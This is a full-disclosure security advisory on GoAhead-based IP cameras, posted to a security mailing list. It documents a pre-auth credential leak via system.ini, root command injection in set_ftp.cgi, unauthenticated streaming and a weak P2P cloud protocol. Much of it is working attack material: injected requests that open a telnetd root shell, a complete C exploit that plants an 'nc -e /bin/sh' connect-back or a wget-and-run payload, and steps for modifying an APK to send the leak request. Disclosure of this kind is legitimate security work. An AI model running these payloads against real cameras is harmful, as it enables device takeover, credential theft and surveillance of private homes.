'http://192.168.1.107/get_params.cgi?loginuse&loginpas' var result="Auth Failed"; But it appears access to `.ini` files are not correctly checked. The attacker can bypass the authentication by providing an empty `loginuse` and an empty `loginpas` in the URI: user@kali$ wget -qO- 'http://192.168.1.107/system.ini?loginuse&loginpas'|xxd|less 00000000: 5749 4649 4341 4d00 0000 0000 0000 0000 WIFICAM......... 00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000020: 0000 0100 0000 0000 0000 0000 0000 0000 ................ [...] 00000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... 000006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... [...] A PoC is provided: ./expl 192.168.1.107 --get-config | xxd | grep 000003 00000030: 6d53 6563 0a0a 5b2b 5d20 6279 7061 7373 mSec..[+] bypass 00000300: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000310: 0000 0000 0000 0000 0000 0000 0a0a 0a0a ................ 00000320: 0100 0000 0a03 0100 0000 0000 0000 0000 ................ 00000330: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000340: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000350: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000360: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000370: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000380: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000390: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003a0: 0000 0000 0000 0000 0000 6164 6d69 6e00 ..........admin. 000003b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003c0: 0000 0000 0000 0000 0000 6164 6d69 6e00 ..........admin. 000003d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003e0: 0000 0000 0000 0000 0000 030a 0a0f 8000 ................ 000003f0: 0000 0101 0003 0002 0000 0080 8080 8001 ................ This vulnerability allows an attacker to steal credentials, ftp accounts and smtp accounts (email). ## Details - Authenticated RCE as root A RCE exists in the ftp configuration CGI. This is well-documented as shown https://jumpespjump.blogspot.de/2015/09/how-i-hacked-my-ip-camera-and-found.html and https://www.pentestpartners.com/blog/hacking-the-aldi-ip-cctv-camera-part-2/ in several different camera models. The partition `/` is mounted in Read-Only, so modifications are not possible in this partition. The command injection is located in in `set_ftp.cgi` (see `$(ftp x.com)`): http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(ftp x.com)ftp&dir=/&mode=PORT&upload_interval=0 http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin When doing a tcpdump, we can see the DNS resolution for x.com: 00:00:00.151107 IP 192.168.1.107.33551 > 8.8.8.8.53: 40888+ A? x.com. (23) so, `ftp x.com` is executed. We can use the telnetd binary to start an authenticated-less telnetd access: user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0' user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin' Testing this will give us root account on port 25/tcp: user@kali$ telnet 192.168.1.107 25 Trying 192.168.1.107... Connected to 192.168.1.107. Escape character is '^]'. / # id uid=0(root) gid=0 / # uname -ap Linux apk-link 3.10.14 #5 PREEMPT Thu Sep 22 09:11:41 CST 2016 mips GNU/Linux / # mount rootfs on / type rootfs (rw) /dev/root on / type squashfs (ro,relatime) /proc on /proc type proc (rw,relatime) sysfs on /sys type sysfs (rw,relatime) tmpfs on /dev type tmpfs (rw,relatime,size=2048k) tmpfs on /tmp type tmpfs (rw,relatime,size=5120k) devpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000) /dev/mtdblock3 on /system type jffs2 (rw,relatime) / # `/etc` is in read-only. So, command injection must not write into `/etc`. The injection is located in `/tmp/ftpupload.sh`: / # cat /tmp/ftpupload.sh /bin/ftp -n<<! open 192.168.1.1 21 user ftp $(telnetd -l /bin/sh -p 25)ftp binary lcd /tmp put ftptest.txt close bye ! / # ## Details - Pre-Auth RCE as root By combining the Pre-Auth Info Leak within the GoAhead http server vulnerability and then authenticated RCE as root, an attacker can achieve a pre-auth RCE as root on a LAN or on the Internet. An exploit is provided and can be used to get a root RCE with connect-back. The exploit will: 1. extract the valid credentials by connecting to the remote GoAhead HTTP server of the targeted camera 2. plant a connect-back with `nc` 3. execute the payload 4. the attacker will receive a root shell with netcat on a second terminal 5. clean the payload located in the configuration file It affects 1250+ camera models. Demo: user@kali$ gcc -Wall -o expl expl-goahead-camera.c && ./expl 192.168.1.107 Camera 0day root RCE with connect-back @PierreKimSec Please run `nc -vlp 1337` on 192.168.1.1 [+] bypassing auth ... done login = admin pass = admin [+] planting payload ... done [+] executing payload ... done [+] cleaning payload ... done [+] cleaning payload ... done [+] enjoy your root shell on 192.168.1.1:1337 user@kali$ On the second xterm: user@kali$ nc -lvp 1337 listening on [any] 1337 ... 192.168.1.107: inverse host lookup failed: Unknown host connect to [192.168.1.1] from (UNKNOWN) [192.168.1.107] 47968 id uid=0(root) gid=0 uname -ap Linux apk-link 3.10.14 #5 PREEMPT Thu Sep 22 09:11:41 CST 2016 mips GNU/Linux ps PID USER TIME COMMAND 1 root 0:01 {linuxrc} init 2 root 0:00 [kthreadd] 3 root 0:00 [ksoftirqd/0] 5 root 0:00 [kworker/0:0H] 6 root 0:00 [kworker/u2:0] 7 root 0:00 [rcu_preempt] 8 root 0:00 [rcu_bh] 9 root 0:00 [rcu_sched] 10 root 0:00 [watchdog/0] 11 root 0:00 [khelper] 12 root 0:00 [writeback] 13 root 0:00 [bioset] 14 root 0:00 [kblockd] 15 root 0:00 [khubd] 16 root 0:00 [kworker/0:1] 17 root 0:00 [cfg80211] 18 root 0:00 [rpciod] 19 root 0:00 [kswapd0] 20 root 0:00 [fsnotify_mark] 21 root 0:00 [nfsiod] 22 root 0:00 [crypto] 36 root 0:00 [kworker/u2:1] 39 root 0:00 [i2s_work_1] 40 root 0:00 [i2s_codec_irq_w] 41 root 0:00 [kworker/0:2] 42 root 0:00 [deferwq] 43 root 0:00 [kworker/0:1H] 59 root 0:00 [jffs2_gcd_mtd3] 61 root 0:00 telnetd 69 root 0:00 /system/system/bin/wifidaemon 70 root 0:00 /sbin/getty -L ttyS1 115200 vt100 98 root 0:01 [RtmpTimerTask] 99 root 0:00 [RtmpMlmeTask] 100 root 0:00 [RtmpCmdQTask] 101 root 0:00 [RtmpWscTask] 148 root 1:19 /tmp/encoder 164 root 0:00 [irq/37-isp] 236 root 0:07 [apical_isp_fw_p] 2330 root 0:00 sh -c /tmp/ftpupload.sh > /tmp/ftpret.txt 2331 root 0:00 {exe} ash /tmp/ftpupload.sh 2332 root 0:00 {exe} ash /tmp/ftpupload.sh 2333 root 0:00 /bin/ftp -n 2334 root 0:00 /bin/sh 2439 root 0:00 ps A working exploit is provided: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #define CAM_PORT 80 #define REMOTE_HOST "192.168.1.1" #define REMOTE_PORT "1337" #define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n" #define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" char * creds(char *argv, int get_config); int rce(char *argv, char *id, char attack[], char desc[]); int main(int argc, char **argv, char **envp) { char *id; printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n"); if (argc < 2) { printf("%s target\n", argv[0]); printf("%s target --get-config will dump the configuration and exit\n", argv[0]); return (1); } if (argc == 2) printf("Please run `nc -vlp %s` on %s\n\n", REMOTE_PORT, REMOTE_HOST); if (argc == 3 && !strcmp(argv[2], "--get-config")) id = creds(argv[1], 1); else id = creds(argv[1], 0); if (id == NULL) { printf("exploit failed\n"); return (1); } printf("done\n"); printf(" login = %s\n", id); printf(" pass = %s\n", id + 32); if (!rce(argv[1], id, PAYLOAD_0, "planting")) printf("done\n"); sleep(1); if (!rce(argv[1], id, PAYLOAD_1, "executing")) printf("done\n"); if (!rce(argv[1], id, PAYLOAD_2, "cleaning")) printf("done\n"); if (!rce(argv[1], id, PAYLOAD_1, "cleaning")) printf("done\n"); printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT); return (0); } char * creds(char *argv, int get_config) { int sock; int n; struct sockaddr_in serv_addr; char buf[8192] = { 0 }; char *out; char *tmp; char payload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n"; int old_n; int n_total; sock = 0; n = 0; old_n = 0; n_total = 0; printf("[+] bypassing auth ... "); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error while creating socket\n"); return (NULL); } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(CAM_PORT); if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) { printf("Error while inet_pton\n"); return (NULL); } if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) { printf("creds: connect failed\n"); return (NULL); } if (send(sock, payload, strlen(payload) , 0) < 0) { printf("creds: send failed\n"); return (NULL); } if (!(tmp = malloc(10 * 1024 * sizeof(char)))) return (NULL); if (!(out = calloc(64, sizeof(char)))) return (NULL); while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) { n_total += n; if (n_total < 1024 * 10) memcpy(tmp + old_n, buf, n); if (n >= 0) old_n = n; } close(sock); /* [ HTTP HEADERS ] ... 000????: 0000 0a0a 0a0a 01.. .... .... .... .... ^^^^ ^^^^ ^^ Useful reference in the binary data in order to to find the positions of credentials ... ... 0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... 00006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... 00006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ ... NOTE: reference can be too: 000????: 0006 0606 0606 0100 000a .... .... .... Other method: parse everything, find the "admin" string and extract the associated password by adding 31bytes after the address of 'a'[dmin]. Works if the login is admin (seems to be this by default, but can be changed by the user) */ if (get_config) { for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++) printf("%c", tmp[j]); exit (0); } for (unsigned int j = 50; j < 10 * 1024; j++) { if (tmp[j - 4] == 0x0a && tmp[j - 3] == 0x0a && tmp[j - 2] == 0x0a && tmp[j - 1] == 0x0a && tmp[j] == 0x01) { if (j + 170 < 10 * 1024) { strcat(out, &tmp[j + 138]); strcat(out + 32 * sizeof(char), &tmp[j + 170]); free(tmp); return (out); } } } free(tmp); return (NULL); } int rce(char *argv, char *id, char attack[], char desc[]) { int sock; struct sockaddr_in serv_addr; char *payload; if (!(payload = calloc(512, sizeof(char)))) return (1); sock = 0; printf("[+] %s payload ... ", desc); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error while creating socket\n"); return (1); } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(CAM_PORT); if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) { printf("Error while inet_pton\n"); return (1); } if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) { printf("rce: connect failed\n"); return (1); } sprintf(payload, attack, id, id + 32); if (send(sock, payload, strlen(payload) , 0) < 0) { printf("rce: send failed\n"); return (1); } return (0); } Alternatively, you can fetch it at https://pierrekim.github.io/advisories/expl-goahead-camera.c. ## Details -- Misc - Streaming without authentication An attacker can use the authenticated-less RTSP server running on the camera on port `10554/tcp` to watch the streaming without authentication. user@kali$ vlc rstp://192.168.1.107:10554/tcp/av0_1 And: user@kali$ vlc rstp://192.168.1.107:10554/tcp/av0_0 ## Details -- Misc - "Cloud" (Aka Botnet) By default, the camera uses a 'Cloud' functionality. You can tcpdump the traffic of the camera, which is very scary: 12:09:21.410947 IP 192.168.1.107.46958 > 8.8.8.8.53: 60806+ A? openapi.xg.qq.com.gateway. (43) 12:09:26.429697 IP 192.168.1.107.58156 > 202.96.134.33.53: 60806+ A? openapi.xg.qq.com.gateway. (43) 12:09:31.450033 IP 192.168.1.107.41499 > 8.8.8.8.53: 28561+ A? www.baidu.com. (31) 12:09:35.128919 IP 192.168.1.107.13179 > 121.42.208.86.32100: UDP, length 48 12:09:35.128932 IP 192.168.1.107.13179 > 54.221.213.97.32100: UDP, length 48 12:09:35.128933 IP 192.168.1.107.13179 > 120.24.37.48.32100: UDP, length 48 12:09:36.468849 IP 192.168.1.107.44185 > 202.96.134.33.53: 28561+ A? www.baidu.com. (31) 12:09:41.488223 IP 192.168.1.107.41499 > 8.8.8.8.53: 28561+ A? www.baidu.com. (31) 12:09:46.507810 IP 192.168.1.107.44185 > 202.96.134.33.53: 28561+ A? www.baidu.com. (31) 12:09:51.527501 IP 192.168.1.107.47793 > 8.8.8.8.53: 33930+ A? www.baidu.com.gateway. (39) 12:09:56.546854 IP 192.168.1.107.53618 > 202.96.134.33.53: 33930+ A? www.baidu.com.gateway. (39) 12:10:01.566316 IP 192.168.1.107.47793 > 8.8.8.8.53: 33930+ A? www.baidu.com.gateway. (39) 12:10:06.575735 ARP, Request who-has 192.168.1.1 tell 192.168.1.107, length 46 12:10:06.575750 ARP, Reply 192.168.1.1 is-at 00:e0:4c:51:55:ed, length 28 12:10:06.585841 IP 192.168.1.107.53618 > 202.96.134.33.53: 33930+ A? www.baidu.com.gateway. (39) 12:10:11.606030 IP 192.168.1.107.46252 > 8.8.8.8.53: 41046+ A? time.nist.gov. (31) 12:10:16.625044 IP 192.168.1.107.44109 > 202.96.134.33.53: 41046+ A? time.nist.gov. (31) 12:10:19.214687 IP 192.168.1.107.13179 > 121.42.208.86.32100: UDP, length 48 12:10:19.214700 IP 192.168.1.107.13179 > 54.221.213.97.32100: UDP, length 48 12:10:19.214702 IP 192.168.1.107.13179 > 120.24.37.48.32100: UDP, length 48 12:10:21.644397 IP 192.168.1.107.46252 > 8.8.8.8.53: 41046+ A? time.nist.gov. (31) The camera tries to resolve `www.baidu.com`, `openapi.xg.qq.com`, contacts hardcoded IPs and hosts: - - `121.42.208.86:32100/udp` (CN: Alibaba), - - `54.221.213.97:32100/udp` (AWS US), - - `120.24.37.48:32100/udp` (CN: Alibaba), - - `www.baidu.com:80/tcp` (CN: Baidu). It appears this is the 'Cloud' functionality, enabled by default. The security of this functionality is not proven. The provided Android application to manage my camera is object.p2pwificam.client.apk [https://play.google.com/store/apps/details?id=object.p2pwificam.client]. [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] Netcam 360 works too: [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] It appears, the network protocol is very weak: 1. the camera contacts a remote server using UDP, 2. the application contacts a remote server using UDP, 3. the application sends a request to the remote server, asking if the camera with the specific serial-number is online, 4. the server will reply by "camera doesn't exit", "camera is offline" or "camera is online", 5. if the camera is online, a UDP tunnel is automaticaly established between the application and the camera, using the Cloud server as a relay. ### UDP tunnel: [Android Application] <===UDP===> Cloud server <===UDP===> [Camera] Then, the UDP tunnel is used by the application to reach the camera: 1/ the client will send a HTTP request to the camera with the credentials (still in clear-text) GET check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& or GET /check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& 2/ the camera will reply by using HTTP over UDP whenever the credentials are valid or invalid. If the credentials are valid, the camera will reply: result= 0; If the credentials are not valid, the camera will reply: result=-1 3/ if the credentials are valid, then the application will send HTTP requests to .cgi files hosted by the camera by appending credentials to the requests (`?loginuse=valid_user&loginpas=valid_pass`) ### Step 2 in detail: If the authentication is OK, so it is alright to dump all the configuration in cleartext! [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] Note: this trace was done with one of the application listed below, to be sure applications are sharing the same "cloud" network (it appears the daemon running on the camera doesn't strictly respect the HTTP protocol - note the lack of `/` - but it works !). If the authentication is not OK. The cameras answers: result=-1; Due to the absence of checking, an attacker can simply bruteforce credentials. [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] ### Step 3 in detail: The application sends: GET get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& OR GET /get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& The camera replies by sending all its configuration in clear-text: var now=1122211111; var dst_enable=0; var dst_time=0; var tz=0; var ntp_enable=1; var ntp_svr="time.nist.gov"; var dhcpen=1; var ip="192.168.2.76"; var mask="255.255.255.0"; var gateway="192.168.2.1"; var dns1="8.8.8.8"; var dns2="192.168.2.1"; var port=80; var nashost=""; var nasport=0; var dev2_host=""; var dev2_alias=""; var dev2_user=""; var dev2_pwd=""; var dev2_port=0; var dev3_host=""; var dev3_alias=""; var dev3_user=""; var dev3_pwd=""; var dev3_port=0; var dev4_host=""; var dev4_alias=""; var dev4_user=""; var dev4_pwd=""; var dev4_port=0; var dev5_host=""; var dev5_alias=""; var dev5_user=""; var dev5_pwd=""; var dev5_port=0; var dev6_host=""; var dev6_alias [...] var user1_name=""; var user1_pwd=""; var user2_name="wut"; var user2_pwd="wut"; var user3_name="admin"; var user3_pwd="admin"; [...] This is interesting because an attacker can reach a camera only by knowing a serial number. The UDP tunnel between the attacker and the camera is established even if the attacker doesn't know the credentials. It's useful to note the tunnel bypasses NAT and firewall, allowing the attacker to reach internal cameras (if they are connected to the Internet) and to bruteforce credentials. Then, the attacker can just try to bruteforce credentials of the camera: GET /get_params.cgi?&loginuse=admin&loginpas=TEST&user=admin&pwd=TEST& This protocol appears to be common to a lot of Android applications, ie: - - object.p2pwificam.client (https://play.google.com/store/apps/details?id=object.p2pwificam.client) (500.000 - 1.000.000 installations) - - hsl.p2pipcam (https://play.google.com/store/apps/details?id=hsl.p2pipcam) (100.000 - 500.000 installations) - - object.liouzx.client (https://play.google.com/store/apps/details?id=object.liouzx.client) (100.000 - 500.000 installations) - - object.lioupp.client (https://play.google.com/store/apps/details?id=object.lioupp.client) (100.000 - 500.000 installations) - - com.g_zhang.myp2pcam (https://play.google.com/store/apps/details?id=com.g_zhang.myp2pcam) (100.000 - 500.000 installations) - - object.aisaidezx.client (https://play.google.com/store/apps/details?id=object.aisaidezx.client) (50.000 - 100.000 installations) - - hsl.cam360 (https://play.google.com/store/apps/details?id=hsl.cam360) (10.000 - 50.000 installations) - - bravocam.p2pipcam (https://play.google.com/store/apps/details?id=bravocam.p2pipcam) (10.000 - 50.000 installations) - - xcam.p2pipcam (https://play.google.com/store/apps/details?id=xcam.p2pipcam) (10.000 - 50.000 installations) - - snugcam.p2pipcam (https://play.google.com/store/apps/details?id=snugcam.p2pipcam) (10.000 - 50.000 installations) - - myview.p2pipcam (https://play.google.com/store/apps/details?id=myview.p2pipcam) (5.000 - 10.000 installations) - - object.weimaisizx.client (https://play.google.com/store/apps/details?id=object.weimaisizx.client) (10.000 - 50.000 installations) - - com.tutk.P2PCamLive.Pixord (https://play.google.com/store/apps/details?id=com.tutk.P2PCamLive.Pixord) (10.000 - 50.000 installations) - - object.p2pnetwork.client (https://play.google.com/store/apps/details?id=object.p2pnetwork.client) (5.000 - 10.000 installations) This list is very far from being complete. So, I modified the original Android Application in order to try the pre-auth Info-Leak vulnerability: k% ls -la total 14912 drwx------ 2 nobody nogroup 100 Mar 7 08:27 . drwxrwxrwt 3 root root 140 Mar 7 08:25 .. -rwx------ 1 nobody nogroup 2319 Mar 7 08:25 apktool -rwx------ 1 nobody nogroup 8488199 Mar 7 08:25 apktool.jar -rwx------ 1 nobody nogroup 6773051 Mar 7 08:25 object.p2pwificam.client.apk k% ./apktool d object.p2pwificam.client.apk I: Using Apktool 2.2.2 on object.p2pwificam.client.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... S: WARNING: Could not write to $HOME (/nonexistent), using /tmp instead... S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable I: Loading resource table from file: /tmp/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... k% I edit the library which manages all the custom HTTP requests. One of the interesting string is `GET /%sloginuse=%s&loginpas=%s&user=%s&pwd=%s`: k% xxd ./object.p2pwificam.client/lib/armeabi/libobject_jni.so 0001f650: 3d3d 3d3d 3d3d 3d3d 0000 0000 4745 5420 ========....GET 0001f660: 2f25 736c 6f67 696e 7573 653d 2573 266c /%sloginuse=%s&l 0001f670: 6f67 696e 7061 733d 2573 2675 7365 723d oginpas=%s&user= 0001f680: 2573 2670 7764 3d25 7326 0000 4449 443a %s&pwd=%s&..DID: 0001f690: 2025 732c 2063 6769 5f67 6574 5f63 6f6d %s, cgi_get_com 0001f6a0: 6d6f 6e3a 2025 7300 5050 5050 5f43 6f6e mon: %s.PPPP_Con 0001f6b0: 6e65 6374 2062 6567 696e 2e2e 2e25 7300 nect begin...%s. 0001f6c0: 5050 5050 5f43 6f6e 6e65 6374 2066 6169 PPPP_Connect fai 0001f6d0: 6c65 642e 2e20 2573 2072 6574 7572 6e3a led.. %s return: 0001f6e0: 2025 6400 5265 436f 6e6e 6563 7443 6f75 %d.ReConnectCou 0001f6f0: 6e74 3a20 2564 0a00 5050 5050 5f43 6f6e nt: %d..PPPP_Con 0001f700: 6e65 6374 2073 7563 6365 7373 2e2e 2e6d nect success...m 0001f710: 5f68 5365 7373 696f 6e48 616e 646c 653a _hSessionHandle: After the modification: 0001f650: 3d3d 3d3d 3d3d 3d3d 0000 0000 4745 5420 ========....GET 0001f660: 2f73 7973 7465 6d2e 696e 693f 6c6f 6769 /system.ini?logi 0001f670: 6e75 7365 266c 6f67 696e 7061 7373 2678 nuse&loginpass&x 0001f680: 7878 7878 7878 7878 7826 0000 4449 443a xxxxxxxxx&..DID: 0001f690: 2025 732c 2063 6769 5f67 6574 5f63 6f6d %s, cgi_get_com 0001f6a0: 6d6f 6e3a 2025 7300 5050 5050 5f43 6f6e mon: %s.PPPP_Con 0001f6b0: 6e65 6374 2062 6567 696e 2e2e 2e25 7300 nect begin...%s. 0001f6c0: 5050 5050 5f43 6f6e 6e65 6374 2066 6169 PPPP_Connect fai Then, let's repack and sign the .apk: k% ./apktool b object.p2pwificam.client I: Using Apktool 2.2.2 I: Checking whether sources has changed... I: Checking whether resources has changed... I: Building resources... S: WARNING: Could not write to $HOME (/nonexistent), using /tmp instead... S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable W: warning: string 'conectar' has no default translation. W: warning: string 'str_ipcamfour' has no default translation. W: warning: string 'user_pwd_no_show' has no default translation. I: Copying libs... (/lib) I: Building apk file... I: Copying unknown files/dir... k% openssl genrsa -out key.pem Generating RSA private key, 2048 bit long modulus ..........................................+++ ...................................................................+++ unable to write 'random state' e is 65537 (0x010001) k% openssl req -new -key key.pem -out request.pem [...] k% openssl x509 -req -days 9999 -in request.pem -signkey key.pem -out certificate.pem Signature ok subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd Getting Private key unable to write 'random state' k% openssl pkcs8 -topk8 -outform DER -in key.pem -inform PEM -out key.pk8 -nocrypt k% signapk certificate.pem key.pk8 object.p2pwificam.client/dist/object.p2pwificam.client.apk signed-object.p2pwificam.client.apk k% ls -latr total 21560 drwxrwxrwt 3 root root 140 Mar 7 08:25 .. -rwx------ 1 nobody nogroup 8488199 Mar 7 08:25 apktool.jar -rwx------ 1 nobody nogroup 2319 Mar 7 08:25 apktool -rwx------ 1 nobody nogroup 6773051 Mar 7 08:25 object.p2pwificam.client.apk drwx------ 9 nobody nogroup 220 Mar 7 08:33 object.p2pwificam.client -rw------- 1 nobody nogroup 1675 Mar 7 08:33 key.pem -rw------- 1 nobody nogroup 956 Mar 7 08:33 request.pem -rw------- 1 nobody nogroup 1111 Mar 7 08:33 certificate.pem -rw------- 1 nobody nogroup 1217 Mar 7 08:33 key.pk8 drwx------ 3 nobody nogroup 220 Mar 7 08:34 . -rw------- 1 nobody nogroup 6787146 Mar 7 08:34 signed-object.p2pwificam.client.apk `signed-object.p2pwificam.client.apk` is ready to be used. When using it, we see that: The client indeed sends the `system.ini` request within the UDP tunnel: [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] The camera indeed receives this request within the UDP tunnel: [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] Complete trace is: [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] It appears the pre-auth is not easily reachable within the cloud network. This "cloud" protocol seems to be more a botnet protocol than a legit remote access protocol and has indeed weakness (everything in clear-text, i.e. an attacker can attack cameras within the cloud and leverage potential access to hack internal networks). A lot of P2P ('Cloud') cameras are in fact using the same botnet protocols and the same infrastructure seemingly to be managed by a single entity. Writing a PoC which bruteforces credentials of the remote camera is left as an exercise for the reader. ## Vendor Response Due to difficulties in finding and contacting all the vendors, full-disclosure is applied. I advise to IMMEDIATELY DISCONNECT cameras to the Internet. Hundreds of thousands cameras are affected by the 0day Info-Leak. Millions of them are using the insecure Cloud network. ## Report Timeline * Feb 26, 2017: Vulnerabilities found by Pierre Kim. * Mar 08, 2017: A public advisory is sent to security mailing lists. ## Credits These vulnerabilities were found by Pierre Kim (@PierreKimSec). ## References https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJYv2UeAAoJEMQ+Dtp9ky28neMP/18McFaGxLqBaBjsbDFynjou IZN/iA6FYm27lfGJ3RME9U+G0IwLzQuWshF2hGPsqmogxLRNRE5QB20Yy9P4+nyH VtFqZ1tN6lfZhlQCKDlGr3UdYdwpuP+fNmC11KU153d3TT1c9lWjNnVcatEPPati wbxJK0EwZ9T8UuzT/hweBPxRH9RDeWjWUjIBrv0+sLuwKrxkPgkE0IXKHLTLoKhy DR0jQd5oCN8rorm5NCPGYCttBBSv0qwy4nIsgVzIViGoaumtrnOJUuwmHzVcvU1n oAQVY/WwU2GLjWHqamAY9n4H6FEGYd+vGAtwnbxdVXAHwlHgY34sO7wuomHXNWwL 52Hwm+65qdBx9+iD9IPZtNoOgwPuOxp7RReEvj144EDbVptAUy62f4ilR05+XQZL DmBxgqBwdLLVXBOnl/f7qj4ptERID2lW5XMUw6FURxXHrfle80Sgp/Yios8E/bcW SyQJmAgRy3ZzQ7m4uUmIiUgAuyq2F2DA+CB7/8nkysPruw+In/Tdj5WIWTAAb8aT ksZ05z+tGHYMXt8NlGvKLYcAmhU9Nw8X1KF4ChCuA59jy1fNjUplAyl6AemzAETB Sknfr7lSQMGGY+GyQ1X3NxHfjAcWytpVsjb+/UOJE+Y+hHP59pRL5Smo1lOE9BWz 0VEWlkNCYSlBtIXqVQqW =iiUl -----END PGP SIGNATURE----- -- Pierre Kim pierre.kim....@gmail.com @PierreKimSec https://pierrekim.github.io/ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/